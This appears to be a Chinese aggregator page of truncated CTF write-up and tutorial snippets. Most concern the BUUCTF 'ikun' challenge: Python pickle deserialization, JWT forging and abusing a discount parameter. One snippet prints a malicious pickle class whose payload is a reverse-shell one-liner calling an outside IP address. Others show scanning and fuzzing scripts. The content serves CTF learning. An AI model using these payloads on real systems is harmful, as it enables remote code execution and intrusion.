BUUCTF-web ikun(Python 反序列化)】的更多相关文章

题目过程1.一开始提示说要买到V6,观察源码,发现/static/img/lv/lv4.png.注册之后尝试寻找V6.观察url发现/shop?page=2.尝试写脚本匹配一下.发现在第181页. import requests url="http://20573976-f06b-4718-9d26-89a9471c808b.node3.buuoj.cn/shop?page=" for i in range(0,2000): r=requests.get(url+str(i)) if(…
正如本题所说,脑洞有点大.考点还很多,不过最核心的还是python的pickle反序列化漏洞 题目中暗示了要6级号,找了很多页都没看到,于是写了脚本 在第180页有6级号,但是价格出奇的高,明显买不起.bp抓包发现有疑似折扣的参数,把值改低后提交,重定向到了后台页面,但是需要admin才行. 这时一早就发现的JWT便派上了用场.在https://jwt.io/在线解析jwt.data段有我们的用户名,可以伪造成admin,但还需要有密钥. 可以使用工具破解.详情见:https://github.…
零.补充: 补充于2018-02-08,之前研究时候有一个疑惑,python的序列化成二进制,打web服务怎么传这个二进制对象呢,今天请教了身边大神(传说的九零后黑客代表),可以使用base64传输. 测试代码: #client.py import os import sys import base64 import socket import cPickle #定义payload类型 class payload(object): def __init__(self,command): self…
最近看到p神一篇讲python反序列化的文章,结合redis未授权访问组合漏洞,感觉在flask和redis的构架中比较常见,便记录下来. p神原文:https://www.leavesongs.com/PENETRATION/zhangyue-python-web-code-execute.html 漏洞原理: python序列化会通过pickle的dumps和loads来进行序列化和反序列化 其中序列化后的值为 对应的格式如下: c:读取新的一行作为模块名module,读取下一行作为对象名o…
22.python笔记之web框架   一.web框架本质 1.基于socket,自己处理请求 #!/usr/bin/env python3 #coding:utf8 import socket def handle_request(client): #接收请求 buf = client.recv(1024) print(buf) #返回信息 client.send(bytes('<h1>welcome liuyao webserver</h1>','utf8')) def mai…
参考文章 一篇文章带你理解漏洞之 Python 反序列化漏洞 Python Pickle/CPickle 反序列化漏洞 Python反序列化安全问题 pickle反序列化初探 前言 上面看完,请忽略下面的内容 Python 中有很多能进行序列化的模块,比如 Json.pickle/cPickle.Shelve.Marshal 一般 pickle 模块较常使用 在 pickle 模块中 , 常用以下四个方法 pickle.dump(obj, file) : 将对象序列化后保存到文件 pickle.…
BUUCTF 几道WEB题WP 今天做了几道Web题,记录一下,Web萌新写的不好,望大佬们见谅○| ̄|_ [RoarCTF 2019]Easy Calc 知识点:PHP的字符串解析特性 参考了一下网上大佬文章http://gality.cn/2019/10/21/php%E5%AD%97%E7%AC%A6%E4%B8%B2%E8%A7%A3%E6%9E%90%E7%89%B9%E6%80%A7%E7%A0%94%E7%A9%B6/ 在php中,查询的字符串(URL或正文中)会被转换为内部$_G…
Python-反序列化函数使用 pickle.dump(obj, file) : 将对象序列化后保存到文件 pickle.load(file) : 读取文件, 将文件中的序列化内容反序列化为对象 pickle.dumps(obj) : 将对象序列化成字符串格式的字节流 pickle.loads(bytes_obj) : 将字符串格式的字节流反序列化为对象 魔术方法: reduce() 反序列化时调用 reduce_ex() 反序列化时调用 setstate() 反序列化时调用 getstate(…
考点:JWT身份伪造.python pickle反序列化.逻辑漏洞 1.打开之后首页界面直接看到了提示信息,信息如下: 2.那就随便注册一个账号进行登录,然后购买lv6,但是未发现lv6,那就查看下一页,此时观察下访问的url地址:http://xxxxxxx.node4.buuoj.cn:81/shop?page=2,很明显这里是要我们修改page参数进行访问,获取到lv6后进行购买,那就用脚本获取下lv6的位置,脚本和结果如下: 脚本代码: import requests url = 'ht…
天啦,要考试了,要期末考试了,今天把最终版的Python搭建Web代码先写这里记下了.详细的过程先不写了. 这次是在前面的基础上重写 HTTPServer 与 BaseHTTPRequestHandler,主要利用 python 提供 的 socket 进行编程,从而实现消息的接收与相应:然后再接着引入多线程,分别处理来自客户端的请求:最后实现根据客户端传递的参数动态生成页面的功能. 主要步骤如下: 一. .重写 HTTPServer 与 BaseHTTPRequestHandlerPython…
python框架之django   python框架之django 本节内容 web框架 mvc和mtv模式 django流程和命令 django URL django views django temple django models django admin 1. web框架 框架,即framework,特指为解决一个开放性问题而设计的具有一定约束性的支撑结构,使用框架可以帮你快速开发特定的系统,简单地说,就是你用别人搭建好的舞台来做表演. Web应用的流程: //浏览器发送一个HTTP请求…
在做Web自动化过程中,汇总了Python+selenium的API相关方法,给公司里的同事做了第二次培训,分享给大家                                                                                                                     WEB自动化测试培训2 课程目的 一.Webdriver API 的使用 课程内容 1    控制浏览器 Selenium 主要提供的是操作页面上各…
# 若需要处理更复杂的数据, 用pickle. pickle只有在Python里能用, 其它语言不行. # 序列化. import pickle def sayhi(name): print('hello', name) f = open('test.text', 'wb') info = { 'name': 'alex', 'age': 22, 'func': sayhi } f.write(pickle.dumps(info)) # pickle会默认转换成二进制,所以读取方式应该是wb而不…
import pickle import os class A(object): def __reduce__(self): a = """python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("121.195.170.181",9999));os.dup2(s.fileno(),0);os.dup2(s.fi…
前言 书中使用的是python3,我这里使用的是python2.7 Web 的目录树 webapp/ ├── cgi-bin │ ├── athletelist.py │ ├── athletemodel.py │ ├── generate_list.py │ └── yate.py ├── coach.css ├── data │ ├── james.txt │ ├── julie.txt │ ├── mikey.txt │ └── sarah.txt ├── favicon.ico ├──…
原理在网页源码中如果出现将用户输入数据进行反序列化当成参数输出时,出现漏洞,可造成任意命令执行例如网页源码try:       become = self.get_argument('become')       p = pickle.loads(urllib.unquote(become))       return self.render('form.html', res=p, member=1)except:        return self.render('form.html', r…
WarmUp index.php <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta http-equiv="X-UA-Compatible" content=…
pickle与序列化和反序列化 官方文档 模块 pickle 实现了对一个 Python 对象结构的二进制序列化和反序列化. "pickling" 是将 Python 对象及其所拥有的层次结构转化为一个字节流的过程,而 "unpickling" 是相反的操作,会将(来自一个 binary file 或者 bytes-like object 的)字节流转化回一个对象层次结构. pickling(和 unpickling)也被称为"序列化", &qu…
part1:不求甚解的复现 对于服务端源码:    编写恶意序列化对象生成程序: 将生成的恶意序列化对象输入服务端user,使其执行系统命令.(上面那俩其实都行) part2:原理解释 b'xxx'是python的byte数据类型,一个字符只占一个字节:往往用[\x4A]这种形式表示,但如果是可见字符,也可以直接写. b'xxx'读取时需使用.decode()方法,后面的括号填字符集,默认utf-8 序列化与反序列化,之前在PHP里有初步接触. 在python pickle库中, .dump()…
lamp : linux + apache + mysql + php 在上篇随笔中linux+php+apache调用python脚本时出现的问题的根本原因是:apache运行时使用的apache用户权限不够: 由此想到的解决方案是将apache改用root用户来执行,修改/etc/httpd/conf/httpd.conf,但结果是apache运行不起来,初步 判断是apache出于安全方面的考虑,不允许使用root用户运行(此判断是否正确有待验证). 具体解决方案(验证通过): 在sudo…
lamp : linux + apache + mysql + php 在近期项目中使用 linux + apache + php调用python脚本是出现以下权限问题: build/bdist.linux-x86_64/egg/pkg_resources/__init__.py", line 1823, in get_resource_filenamebuild/bdist.linux-x86_64/egg/pkg_resources/__init__.py", line 1853,…
一.安装selenium 命令安装selenium库 :pip  install -U selenium 查看selenium是否安装成功:pip list PS:有时会有异常,安装失败,可以尝试去selenium官网下载,selenium的资源包.下载地址:https://www.seleniumhq.org/download/,把包放到目录D:\python\Python36\Lib\site-packages下解压, 进入路径D:\python\Python36\Lib\site-pack…
一.python下载地址:https://www.python.org/downloads/ 二.双击python的.exe文件安装: 后面直接点击“next” 步骤二:选择安装在D:\python3.6; 步骤三:环境变量配置 新建系统变量  PYTHON_HOME D:\python3.6; 步骤四:配置系统变量    path: %PYTHON_HOME%   %PYTHON_HOME%\Scripts 步骤五:验证python是否安装成功   输入命令:  python --versio…
说明 打强网杯的时候一直在写论文, 做林逸师傅的培训题目. 现在得空,还是看了一部分的题目和wp. 源码 源码一共三部分, 这里只写下我知识盲区的一部分,作为自己的记录. <?php highlight_file(__FILE__): $flag=file_get_contents('ssrf.php'); class Pass { function read() { ob_start(); global $result; print $result; } } class User { publ…
一.安装selenium Windows命令行(cmd)输入pip install selenium(无须指定版本默认最新)或 pip install selenium==3.141.0(可指定版本) 即可自动安装selenium. 安装完成后,输入pip show selenium 或 pip list  可查看当前的selenium版本,参考下图. 二.安装浏览器驱动(Chromedriver 谷歌和谷歌驱动版本) 浏览器驱动 是和 浏览器对应的. 不同的浏览器 需要选择不同的浏览器驱动.…
普通写法,静态web服务器: 先创建TCP服务器套接字,然后等待客户端(这里是浏览器)请求连接. 客户端发起请求,用线程来处理连接的建立,这样可以实现多任务(也就是并发) 连接后根据请求发送指定页面 补充:设置守护主线程:当主线程退出,子线程立马全死 1 import socket 2 import os 3 import threading 4 5 # 处理客户端的请求 6 def handle_client_request(new_socket): 7 # 代码执行到此,说明连接建立成功 8…
序列化 首先说说什么是序列化 序列化给我们传递对象提供了一种简单的方法.serialize()将一个对象转换成一个字符串,并且在转换的过程中可以保存当前变量的值 而反序列化unserialize()将字符串还原为一个对象. 通俗来说:通过反序列化在特定条件下可以重建php对象并执行php对象中某些magic函数. 在PHP应用中,序列化和反序列化一般用做缓存,比如session缓存,cookie等. 举一个简单的例子 <?php class people{ public $name; publi…
下载安装文件 下载最新文件路径:https://www.jetbrains.com/pycharm/ 安装: 一直点击下一步即可 破解: 配置hosts文件.C:\Windows\System32\drivers\etc下的hosts文件 加上0.0.0.0 account.jetbrains.com 注册码获取地址:http://idea.lanyus.com/…
题目很简单,一个滑稽 打开源码,发现存在source.php文件 于是访问文件,发现出现一串php源码 提示存在hint.php,于是访问发现一句话 flag not here, and flag in ffffllllaaaagggg 再回过头来观察source.php明显是一道代码审计的问题,其中存在4个限制条件 $_REQUEST['file']需要在白名单内,白名单内只有source.php和hint.php $_REQUEST['file']不为空 $_REQUEST['file']必…
打开靶机,看到如下界面 于是打开www.tar.gz 下载后发现是一个放有大量php文件的文件夹 看了大佬的wp后明白了是fuzzing 附上大佬的脚本 import os import re import requests filenames = os.listdir('D:/phpStudy/PHPTutorial/WWW/src/') pattern = re.compile(r"\$_[GEPOST]{3,4}\[.*\]") for name in filenames: pr…